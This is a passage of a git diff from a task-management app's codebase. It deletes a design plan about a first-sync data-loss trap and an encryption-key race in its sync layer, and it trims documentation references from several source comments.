a/docs/plans/2026-06-03-fresh-client-first-sync-data-loss-trap.md +++ /dev/null @@ -1,270 +0,0 @@ -# Fresh-client first-sync: data-loss trap + decrypt-race - -**Date:** 2026-06-03 -**Status:** Implemented A1 + B + D (with tests). Fix C residual accepted + documented — see §10. -A1's never-synced guard was hardened on the piggyback path (capture-timing fix) — see §11. -**Area:** op-log sync (`src/app/op-log/sync`, `packages/sync-providers/src/super-sync`) - -## 0. Implementation status (2026-06-03) - -| Fix | What shipped | Tests | -| ------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------- | -| **A1** | `SyncImportConflictGateService` flags `isNeverSynced` (`!hasSyncedOps()`) on the incoming-import dialog data; the dialog requires an explicit native `confirm()` before the destructive `USE_LOCAL` on a never-synced client, and the safe `USE_REMOTE` button gets `cdkFocusInitial` so the keyboard default never overwrites the server. New i18n keys `FIRST_SYNC_WARNING` / `FIRST_SYNC_USE_LOCAL_CONFIRM`. | gate spec (+3), dialog component spec (new, 6), sync-service spec (+2) | -| **B** | `OperationLogDownloadService` logs the "encrypted ops, no key" condition at `normal` only for never-synced clients whose local config has **no** encryption flag (expected onboarding prompt) and keeps `error` for already-synced clients **and** for clients whose local config still flags encryption on (dropped-credential signature — survives a wiped op store via the provider's `isEncryptionEnabled()`). Still throws `DecryptNoPasswordError`. | download spec (+3) | -| **D** | `SuperSync.isReady()` returns `false` when `isEncryptionEnabled && !encryptKey` (self-inconsistent encrypted config), keeping the client out of auto-sync/destructive recovery until the key is re-entered. | super-sync vitest (+5) | -| **C** | **Not shipped.** The blanket "block upload for `!hasSyncedOps()`" regresses first-device empty-server seeding; the encrypted-upload hazard it targeted is covered by **D** + download-before-upload ordering. The remaining example-task _pollution_ has no safe status-based guard (verified — see §10) and its only correct fix is an identity-based onboarding cleanup feature. **Residual accepted + documented.** | | - -## 1. TL;DR - -When a **fresh client** (new install / new device) connects to an **existing, populated, -encrypted** SuperSync dataset for the first time, two things happen that look unrelated in -the logs but share **one root cause**: - -1. A **`SYNC_IMPORT` conflict dialog** ("USE LOCAL / USE REMOTE") appears. Choosing - **USE LOCAL** force-uploads the client's throwaway startup state as a new `SYNC_IMPORT`, - **overwriting the entire real remote dataset** → silent data loss, one wrong click away. -2. A red **`DecryptNoPasswordError`** is logged during the first sync (mostly working as - designed — it triggers the password prompt — but noisy, and it rides the same - half-configured window the codebase already flags as hazardous). - -Severity is **higher than first thought**: the trigger is not user-specific data. Every -fresh install seeds **4 example tasks** (`ExampleTasksService`), so **every new device that -later connects to a populated remote** reproduces this. - -## 2. Reproduction - -1. Install fresh client (latest release). On first boot, with no sync configured, - `ExampleTasksService` creates 4 example tasks (`CREATE_PROJECT`, `SET_UP_SYNC`, - `LEARN_KEYBOARD_SHORTCUTS`, `GO_FURTHER`) + default config writes. → **6 op-log ops captured.** -2. Configure SuperSync + encryption (existing account with a large dataset). -3. First real sync: download finds an encrypted `SYNC_IMPORT` → `DecryptNoPasswordError` → - password prompt → key entered → retry. -4. Retry downloads the `SYNC_IMPORT`; the 6 local ops trip the conflict gate → **conflict - dialog**. USE LOCAL would wipe remote; USE REMOTE adopts remote (correct). - -## 3. Root cause (shared) - -A genuinely-fresh client performs **local work before its first sync completes**: -`ExampleTasksService` (`src/app/core/example-tasks/example-tasks.service.ts:74-81`) + -default `[Global Config] Update` ops. Because these land in the op-log: - -- `getLastSeq()` (`operation-log-store.service.ts:995`) > 0, so - `isWhollyFreshClient()` (`sync-local-state.service.ts:18` = `!snapshot && lastSeq === 0`) - returns **false** → the gentle fresh-client confirm path - (`operation-log-sync.service.ts:598`) is skipped. -- `hasMeaningfulPendingOps()` (`sync-import-conflict-gate.service.ts:41`) sees 4 TASK - `Create` ops → **"meaningful user work"** → `dialogData` populated → conflict dialog - (`operation-log-sync.service.ts:663`). -- `hasMeaningfulStateData()` (`has-meaningful-state-data.util.ts`) is also true - (`task.ids.length > 0`), so even the skipped path would have thrown a conflict. - -This is **not fixable by timing** ("don't seed examples until after sync"): the user enables -sync _after_ boot, so the example tasks already exist. The fix must live at the -**conflict-detection layer**. - -## 4. The three problems - -### P1 — Conflict dialog is a data-loss trap (headline) - -`operation-log-sync.service.ts:655-687`. For a never-synced client, USE LOCAL → -`forceUploadLocalState` → `SYNC_IMPORT` over remote (`sync-import-conflict-coordinator.service.ts:51`, -`skipServerEmptyCheck`). A client that has **never contributed to remote** has nothing of its -own up there to protect; offering a symmetric, default-less choice that can wipe the real -dataset is the bug. - -### P2 — Decrypt-race noise + half-configured window - -`SuperSync.isReady()` (`super-sync.ts:148`) = `!!(cfg && cfg.accessToken)` — ready on -access-token alone. The config lands in **two writes** (access token first; then -`encryptKey`+`isEncryptionEnabled` via `updateEncryptionPassword`, -`sync-config.service.ts:289`). Between them, `isEnabledAndReady$` -(`sync-wrapper.service.ts:160`) is true, so `triggerSync$` (`sync.effects.ts:170,151`) fires. -Download hits encrypted ops, `getEncryptKey()` (`super-sync.ts:451`) returns `undefined`, -and `operation-log-download.service.ts:255` throws `DecryptNoPasswordError` — logged at -`error` (`:252`). The throw is **intentional** (triggers the password dialog, -`:251`), but it is logged identically to the dangerous case the credential store already -documents: `(encryptKey=[empty], isEncryptionEnabled=true)` is the "smoking-gun signature -for a silent credential drop" (`credential-store.service.ts:112-129`). - -### P3 — Latent unencrypted-upload hazard - -Upload encrypts iff a key exists: `isPayloadEncrypted = !!encryptKey` -(`operation-log-upload.service.ts:437`). During the P2 window `getEncryptKey()` is -`undefined`, so an upload would push local ops **unencrypted into an encrypted dataset**. -The only guard today is the fresh-client upload block -(`operation-log-sync.service.ts:165-175`), which keys off `isWhollyFreshClient()` — already -**disabled** here by the 6 example-task ops. The sole thing that saved us is that download -runs before upload and threw first. Not realized in the captured log, but latent. - -## 5. Unifying discriminator: `hasSyncedOps()` - -All three problems share one concept: **"has this client ever completed a sync?"** -`OperationLogStoreService.hasSyncedOps()` (`operation-log-store.service.ts:1023`, already -excludes MIGRATION/RECOVERY) answers it. A `hasSyncedOps() === false` client cannot have -_diverged_ from remote — its local ops are pre-first-sync startup state. - -## 6. Fix plan (by risk) - -### Fix A — P1: never-synced clients can't accidentally overwrite a populated remote - -- **Where:** `operation-log-sync.service.ts` incoming-`SYNC_IMPORT` gate (≈648-687); reuse in - the piggyback path (≈209-214). -- **Minimal (recommended default):** when `await hasSyncedOps() === false` and the incoming - full-state op is from a **remote** client, still show the dialog **but** default to - USE_REMOTE and add an explicit "USE LOCAL overwrites the server's data" warning. No - heuristics, no new state. Removes the coin-flip trap; keeps the escape hatch for the rare - standalone-real-data user. -- **Enhanced (needs §7 decision):** when local state is **example-tasks-only**, skip the - dialog and adopt remote silently. Requires identifying example-only state (record example - task IDs at creation, or a dedicated flag) — see §7. -- **Verify:** new spec in `operation-log-sync.service.spec.ts` (or the conflict gate spec): - never-synced + remote `SYNC_IMPORT` + example tasks → no destructive USE_LOCAL default; - synced client → unchanged behavior. Manual: two-device flow reproduces no-trap. - -### Fix B — P2: scope the decrypt error + log severity to the real failure - -- **Where:** `operation-log-download.service.ts:249-258`. -- **Change:** keep throwing `DecryptNoPasswordError` (still drives the password dialog), but - log at `error` only when `hasSyncedOps() === true` (established client that suddenly can't - decrypt = the dangerous dropped-credential signature). For `hasSyncedOps() === false` - (expected onboarding prompt), log at normal/info "encryption password required". Requires - passing/injecting the synced flag into the download service. -- **Verify:** spec asserts severity branch on the synced flag. Manual: fresh encrypted-sync - device shows info, not a red stack. - -### Fix C — P3: widen the unencrypted-upload guard - -- **Where:** `operation-log-sync.service.ts:165-175`. -- **Change:** block regular uploads when `hasSyncedOps() === false` (not only - `isWhollyFreshClient()`). Prevents a never-synced client (example-task ops present) from - uploading unencrypted into an encrypted dataset. -- **⚠ Interaction risk:** the **first-device-seeds-empty-server** path. Today a client with - example tasks on an _empty_ server is `isWhollyFreshClient()===false` → not blocked → - uploads (seeds). Widening the block to `!hasSyncedOps()` would block that. Must confirm - seeding still fires via `serverMigrationService.handleServerMigration` - (download path `operation-log-sync.service.ts:562-576`) for never-synced clients on empty - servers — and likely loosen that branch from `isWhollyFreshClient` to `!hasSyncedOps` in - tandem. **Do not ship Fix C without a spec covering empty-server seeding.** -- **Verify:** specs for (1) never-synced + populated encrypted server → upload blocked; - (2) never-synced + empty server → still seeds via migration. - -### Fix D — P2 robust: close the half-configured readiness window (optional, moderate risk) - -- **Where:** `provider-manager.service.ts` (`_encryptAndCompressCfg` holds global-config - `isEncryptionEnabled`, line ~138) or the `isEnabledAndReady$` derivation. -- **Change:** treat the provider as **not ready** while local global-config - `isEncryptionEnabled === true` AND the provider `encryptKey` is empty — so auto-sync does - not fire into the setup gap; it resumes when the key lands (config-change already - recomputes readiness). -- **Deadlock check:** safe because the cross-device "discover encryption" flow has local - `isEncryptionEnabled === false` (this device hasn't learned encryption yet) → not blocked → - still uses the download-error → password-prompt path. Only the local - setup-writes-flag-before-key gap is closed. -- **Verify:** spec — readiness false while `(isEncryptionEnabled && !encryptKey)`, true once - key present; cross-device discovery flow unaffected. - -## 7. Decision required - -**Fix A scope** — for a never-synced client meeting a populated remote `SYNC_IMPORT`: - -- **Option 1 (minimal, recommended):** keep the dialog, default USE_REMOTE + destructive - warning on USE_LOCAL. Safe, tiny, no new state. The rare standalone-real-data user can - still deliberately choose USE_LOCAL. -- **Option 2 (enhanced):** also auto-adopt remote with **no dialog** when local is - example-tasks-only (zero-friction onboarding). Needs example-task-id tracking + - "example-only" detection. More code, slightly more surface, but the smoothest UX. - -Recommendation: ship **Fix A Option 1 + Fix B** first (smallest safe surface that kills the -trap and the noise), then evaluate **Fix C/D** with their seed/readiness specs, and consider -**Option 2** as a follow-up if zero-friction onboarding is wanted. - -## 8. Out of scope / non-goals - -- No timing-based suppression of example-task creation (root cause is conflict-detection). -- No change to the by-design SYNC_IMPORT "drop CONCURRENT ops" semantics (CLAUDE.md rule 7). -- The dangling-ref replay warnings (`Filtered non-existent taskIds`, `Skipping LWW Update … -archived/deleted`) are working-as-designed guards — not addressed here. - -## 9. Test/verification checklist - -- [ ] `npm run test:file src/app/op-log/sync/operation-log-sync.service.spec.ts` -- [ ] conflict-gate / download-service specs for the new branches -- [ ] `npm run checkFile` on every touched `.ts` -- [ ] Manual two-device repro: new device + populated encrypted remote → no data-loss trap, - no red decrypt error, data adopted from remote. - -## 10. Why Fix C was changed during implementation - -The plan's Fix C — widen the upload block from `isWhollyFreshClient()` to `!hasSyncedOps()` — -was found to **contradict an existing, deliberate design**: `ServerMigrationService` -(`server-migration.service.ts:102-112`) treats a never-synced client on an _empty_ server -as a normal-upload seeding case (NOT a SYNC_IMPORT migration). Blanket-blocking uploads for -`!hasSyncedOps()` would strand a first device with real data on an empty server. So the -blanket change would regress first-device seeding. - -The hazard Fix C targeted (pushing **unencrypted** ops into an **encrypted** dataset during -the credential-setup window) is instead covered without that regression: - -- **Fix D** makes the provider _not ready_ while `isEncryptionEnabled && !encryptKey`, so - auto-sync (and therefore upload) does not fire in the self-inconsistent encrypted state. -- The existing **download-before-upload** ordering (`operation-log-sync.service.ts:52-63`) - aborts the sync on `DecryptNoPasswordError` before any upload runs when the remote is - encrypted and no key is present. - -### Known residual (accepted, not fixed) — example-task pollution - -A never-synced client can still upload its 4 example-task ops onto a populated remote it just -adopted. This is **real and not rare**: a _non-encrypted_ SuperSync account has no -`SYNC_IMPORT` (the first device seeds it via normal upload — `server-migration.service.ts:102-112`), -so the A1 / USE_REMOTE path never fires. A 2nd device downloads the account, then uploads its -`ExampleTasksService` tasks, which then propagate to all devices. Annoying, but **not data -loss** (normal conflict resolution merges them). - -**Why no status-based guard fixes this (verified 2026-06-03):** - -- `!hasSyncedOps()` at upload time is **ineffective**: downloaded remote ops are persisted - with `syncedAt` set (`operation-log-store.service.ts:379,419,496`), so `hasSyncedOps()` - flips `true` during the _download_ phase — before the upload runs. -- A "has this client ever _uploaded_" signal **deadlocks**: the first legitimate upload is - also `local`+unsynced, so the client could never start contributing. -- Auto-discarding pre-existing local ops on adoption **risks real data loss** for a standalone - user who built real tasks offline before connecting — strictly worse than the pollution. - -**The only safe fix is identity-based**: track the example-task IDs at creation and remove -those _untouched_ tasks when a never-synced client first syncs to a populated remote (so an -_edited_ example task still syncs as real data). That is a genuine onboarding+sync feature -(ID tracking + adoption hook + untouched-detection + local cleanup), not a surgical guard. - -**Decision (2026-06-03):** accept the residual for now. A1+B+D already remove the data-loss -trap and the noisy error; the example-task pollution is minor and bounded. Identity-based -cleanup is left as a scoped follow-up if/when it's worth the onboarding-code surface. - -## 11. Follow-up: never-synced guard must be captured pre-sync (piggyback path) - -Fix A routes `isNeverSynced` through the shared `SyncImportConflictGateService` so both the -download and piggyback-upload paths guard the destructive `USE_LOCAL`. A review (2026-06-03) -found the piggyback path computed `isNeverSynced` from a **live** `hasSyncedOps()` read taken -_after_ the upload had already run. Two writes in the same sync flip that flag to `true` -mid-cycle: - -- the preceding **download** persists adopted remote ops with `syncedAt` - (`operation-log-store.service.ts` `markSynced`/append), and -- the **upload** marks accepted local ops synced before the gate runs - (`operation-log-upload.service.ts:260`). - -So a genuinely never-synced client could reach the piggyback conflict dialog with the guard -already disarmed (`isNeverSynced=false`), re-opening the exact `USE_LOCAL`-overwrites-remote -trap A1 was meant to close. The download path was unaffected (its gate runs before -`processRemoteOps` persists anything). - -**Fix:** capture the never-synced snapshot **once at sync-cycle start, before download** -(`SyncWrapperService.sync` → `OperationLogSyncService.hasSyncedOps()`) and thread it into both -`downloadRemoteOps()` and `uploadPendingOps()`, which forward it to the gate as -`checkIncomingFullStateConflict(ops, { isNeverSynced })`. The gate prefers the passed value and -falls back to a live read only for standalone callers (immediate-upload, password-change, -ws-triggered download) where no preceding download has run. - -**Tests:** gate honors a caller-provided `isNeverSynced` without consulting live history; -the piggyback path flags `isNeverSynced: true` even when the upload marks ops synced -(`operation-log-sync.service.spec.ts`); the wrapper threads the pre-download snapshot into -both calls. diff --git a/docs/research/recurring-events-implementation-plan.md b/docs/research/recurring-events-implementation-plan.md index 364453c1ca..29572b018f 100644 --- a/docs/research/recurring-events-implementation-plan.md +++ b/docs/research/recurring-events-implementation-plan.md @@ -348,7 +348,7 @@ So the real risk is feeding a **wrong DTSTART/anchor**, not "wrong engine": | RRULE serialize/parse (boundary only) | `src/app/features/schedule/ical/ical-lazy-loader.ts` (reuse loader) | | Migration (corrected) | `packages/shared-schema/src/migrations/` (+ `index.ts`), `packages/shared-schema/src/schema-version.ts` (`CURRENT_SCHEMA_VERSION`, `MIN_SUPPORTED_SCHEMA_VERSION`), `src/app/op-log/persistence/schema-migration.service.ts` | | Validation / repair | `src/app/op-log/validation/` (`createValidate`, `data-repair.ts`) | -| Calendar roadmap (note: themselves predate #6040/#7726/`deletedInstanceDates`) | `docs/long-term-plans/calendar-two-way-sync-technical-analysis.md`, `caldav-vevent-expansion-design.md` | +| Calendar roadmap (note: predates #6040/#7726/`deletedInstanceDates`) | `docs/long-term-plans/calendar-two-way-sync-technical-analysis.md` (CalDAV VEVENT expansion shipped as the `caldav-calendar-provider` plugin) | --- diff --git a/e2e/tests/focus-mode/auto-start-focus-on-play.spec.ts b/e2e/tests/focus-mode/auto-start-focus-on-play.spec.ts index 2debb930e3..3a6c73d330 100644 --- a/e2e/tests/focus-mode/auto-start-focus-on-play.spec.ts +++ b/e2e/tests/focus-mode/auto-start-focus-on-play.spec.ts @@ -1,11 +1,10 @@ /** - * E2E coverage for the new `autoStartFocusOnPlay` opt-in. + * E2E coverage for the `autoStartFocusOnPlay` opt-in. * - * Behavior under test (from - * docs/plans/2026-04-29-focus-mode-time-tracking-sync.md): when the user - * enables this setting and starts tracking a task, a focus session must - * spawn automatically *without* opening the focus-mode overlay — the - * header focus-button countdown is the only surface. + * Behavior under test: when the user enables this setting and starts + * tracking a task, a focus session must spawn automatically *without* + * opening the focus-mode overlay — the header focus-button countdown is + * the only surface. * * If this regresses, the headline feature of the rework is broken with * no other automated test catching it. diff --git a/packages/plugin-dev/doc-mode/src/persistence.ts b/packages/plugin-dev/doc-mode/src/persistence.ts index fe5fb6b433..3b445f1c9c 100644 --- a/packages/plugin-dev/doc-mode/src/persistence.ts +++ b/packages/plugin-dev/doc-mode/src/persistence.ts @@ -16,8 +16,7 @@ * * The legacy single-blob entry is tombstoned (empty payload) after migration * so an offline device that still writes the old shape loses cleanly on - * reconnect — see docs/plans/2026-05-23-stage-a-keyed-plugin-persistence.md - * Phase 4 for the LWW rationale. + * reconnect (its stale whole-blob write is LWW-dominated by the keyed entries). */ import type { PluginAPI } from '@super-productivity/plugin-api'; diff --git a/packages/sync-providers/src/file-based/dropbox/dropbox-api.ts b/packages/sync-providers/src/file-based/dropbox/dropbox-api.ts index 0c72220cfb..8e133e7051 100644 --- a/packages/sync-providers/src/file-based/dropbox/dropbox-api.ts +++ b/packages/sync-providers/src/file-based/dropbox/dropbox-api.ts @@ -708,7 +708,6 @@ export class DropboxApi { // On native platforms (except iOS), use CapacitorHttp. // iOS uses fetch (via CapacitorWebFetch) to bypass Capacitor's URLSession.shared, // which causes persistent -1005 "The network connection was lost" errors. - // See: docs/long-term-plans/ios-dropbox-sync-reliability.md if ( this._deps.platformInfo.isNativePlatform && !this._deps.platformInfo.isIosNative diff --git a/src/app/op-log/core/errors/sync-errors.spec.ts b/src/app/op-log/core/errors/sync-errors.spec.ts index fa47814c75..2e468554c7 100644 --- a/src/app/op-log/core/errors/sync-errors.spec.ts +++ b/src/app/op-log/core/errors/sync-errors.spec.ts @@ -16,7 +16,7 @@ describe('sync errors', () => { }); // NOTE: InvalidDataSPError (and the other moved provider errors) no - // longer log on construction — see PR 5a (docs/plans/2026-05-12-pr5-dropbox-slice.md). + // longer log on construction (they were moved into @sp/sync-providers). // Privacy guarantee for those classes is now "no log = no leak" and is // covered by packages/sync-providers/tests/errors.spec.ts. App-side // privacy responsibility shifts entirely to catch-site logging. diff --git a/src/app/op-log/core/errors/sync-errors.ts b/src/app/op-log/core/errors/sync-errors.ts index a3f18c6e01..e62d5e0508 100644 --- a/src/app/op-log/core/errors/sync-errors.ts +++ b/src/app/op-log/core/errors/sync-errors.ts @@ -10,8 +10,8 @@ import { OP_LOG_SYNC_LOGGER } from '../sync-logger.adapter'; // Re-export provider-shared error classes from @sp/sync-providers. // Single class definition per error is critical for `instanceof` checks -// across the codebase. See docs/plans/2026-05-12-pr5-dropbox-slice.md -// action item A5 and sync-errors.identity.spec.ts. +// across the codebase (one definition, re-exported — never re-declared). +// Identity is covered by sync-errors.identity.spec.ts. export { AuthFailSPError, EmptyRemoteBodySPError, diff --git a/src/app/plugins/plugin-user-persistence.service.ts b/src/app/plugins/plugin-user-persistence.service.ts index 82fc7c7be7..c43ab24488 100644 --- a/src/app/plugins/plugin-user-persistence.service.ts +++ b/src/app/plugins/plugin-user-persistence.service.ts @@ -112,8 +112,8 @@ export class PluginUserPersistenceService { // Validate data size — applies whether the write commits now or later. // Cap is on the uncompressed user input, so a plugin can't bypass by // sending pre-compressed bytes. The cap is per-entity (i.e. per - // composite id); aggregate caps across a plugin's keys are out of - // scope — see docs/plans/2026-05-23-stage-a-keyed-plugin-persistence.md. + // composite id); aggregate caps across a plugin's keys are intentionally + // out of scope. const dataSize = new Blob([data]).size; if (dataSize > MAX_PLUGIN_DATA_SIZE) { throw new Error(